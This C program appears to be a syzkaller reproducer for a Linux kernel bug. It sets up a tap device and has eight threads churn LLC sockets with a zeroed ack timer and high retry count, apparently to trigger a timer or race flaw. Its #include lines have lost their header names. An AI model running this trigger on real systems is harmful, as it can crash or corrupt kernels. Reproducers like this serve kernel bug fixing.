// https://syzkaller.appspot.com/bug?id=72841fffb64288bec2a8af56c7c071f5e0ccbf7c #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_LLC #define AF_LLC 26 #endif #ifndef SOL_LLC #define SOL_LLC 268 #endif #ifndef LLC_OPT_RETRY #define LLC_OPT_RETRY 1 #endif #ifndef LLC_OPT_ACK_TMR_EXP #define LLC_OPT_ACK_TMR_EXP 3 #endif #define NUM_WORKERS 8 static volatile int g_running = 1; char tap_name[IFNAMSIZ]; int tap_fd; static int create_and_up_tap() { struct ifreq ifr; int fd, sock_fd; fd = open("/dev/net/tun", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/net/tun: %s\n", strerror(errno)); exit(1); } printf("[+] open /dev/net/tun successful.\n"); memset(&ifr, 0, sizeof(ifr)); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; strncpy(ifr.ifr_name, "tap%d", IFNAMSIZ - 1); if (ioctl(fd, TUNSETIFF, (void *)&ifr) < 0) { printf("[-] Failed to ioctl TUNSETIFF: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl TUNSETIFF successful.\n"); strncpy(tap_name, ifr.ifr_name, IFNAMSIZ - 1); sock_fd = socket(AF_INET, SOCK_DGRAM, 0); if (sock_fd < 0) { printf("[-] Failed to socket AF_INET: %s\n", strerror(errno)); exit(1); } printf("[+] socket AF_INET successful.\n"); struct ifreq ifr_up; memset(&ifr_up, 0, sizeof(ifr_up)); strncpy(ifr_up.ifr_name, tap_name, IFNAMSIZ - 1); if (ioctl(sock_fd, SIOCGIFFLAGS, &ifr_up) == 0) { ifr_up.ifr_flags |= (IFF_UP | IFF_RUNNING); if (ioctl(sock_fd, SIOCSIFFLAGS, &ifr_up) < 0) { printf("[-] Failed to ioctl SIOCSIFFLAGS: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl SIOCSIFFLAGS successful.\n"); } else { printf("[-] Failed to ioctl SIOCGIFFLAGS: %s\n", strerror(errno)); exit(1); } close(sock_fd); return fd; } static void *worker_thread(void *arg) { int id = (int)(long)arg; unsigned char dst_sap = 0x20; unsigned char dummy_mac[6] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x01}; int iter = 0; while (g_running) { iter++; unsigned char src_sap = 0x02 + (id * 2) + (iter % 15) * 16; if (src_sap == dst_sap) src_sap += 2; int fd = socket(AF_LLC, SOCK_STREAM, 0); if (fd < 0) { if (errno == ENOBUFS || errno == ENOMEM || errno == EMFILE || errno == ENFILE) { usleep(1000); continue; } printf("[-] Failed to socket AF_LLC: %s\n", strerror(errno)); exit(1); } if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, tap_name, strlen(tap_name) + 1) < 0) { if (errno == ENODEV || errno == EPERM) { close(fd); continue; } printf("[-] Failed to setsockopt SO_BINDTODEVICE: %s\n", strerror(errno)); exit(1); } struct sockaddr_llc saddr; memset(&saddr, 0, sizeof(saddr)); saddr.sllc_family = AF_LLC; saddr.sllc_arphrd = ARPHRD_ETHER; saddr.sllc_sap = src_sap; if (bind(fd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { if (errno == EADDRINUSE || errno == ENOMEM || errno == ENOBUFS) { close(fd); continue; } printf("[-] Failed to bind: %s\n", strerror(errno)); exit(1); } int ack_tmr = 0; if (setsockopt(fd, SOL_LLC, LLC_OPT_ACK_TMR_EXP, &ack_tmr, sizeof(ack_tmr)) < 0) { printf("[-] Failed to setsockopt LLC_OPT_ACK_TMR_EXP: %s\n", strerror(errno)); exit(1); } int retry = 100; if (setsockopt(fd, SOL_LLC, LLC_OPT_RETRY, &retry, sizeof(retry)) < 0) { printf("[-] Failed to setsockopt LLC_OPT_RETRY: %s\n", strerror(errno)); exit(1); } int flags = fcntl(fd, F_GETFL, 0); if (flags < 0) { printf("[-] Failed to fcntl F_GETFL: %s\n", strerror(errno)); exit(1); } if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) { printf("[-] Failed to fcntl F_SETFL: %s\n", strerror(errno)); exit(1); } struct sockaddr_llc daddr; memset(&daddr, 0, sizeof(daddr)); daddr.sllc_family = AF_LLC; daddr.sllc_arphrd = ARPHRD_ETHER; daddr.sllc_sap = dst_sap; memcpy(daddr.sllc_mac, dummy_mac, 6); int res = connect(fd, (struct sockaddr *)&daddr, sizeof(daddr)); if (res < 0 && errno != EINPROGRESS && errno != ENOMEM && errno != ENOBUFS && errno != EAGAIN) { printf("[-] Failed to connect: %s\n", strerror(errno)); exit(1); } if (close(fd) < 0) { printf("[-] Failed to close: %s\n", strerror(errno)); exit(1); } } return NULL; } int main() { tap_fd = create_and_up_tap(); pthread_t workers[NUM_WORKERS]; for (long i = 0; i < NUM_WORKERS; i++) { if (pthread_create(&workers[i], NULL, worker_thread, (void *)i) != 0) { printf("[-] Failed to create worker thread %ld: %s\n", i, strerror(errno)); exit(1); } } printf("[+] Worker threads created.\n"); sleep(5); g_running = 0; for (int i = 0; i < NUM_WORKERS; i++) { pthread_join(workers[i], NULL); } close(tap_fd); printf("[+] Done. Waiting for RCU grace period and asynchronous timers...\n"); sleep(5); return 0; }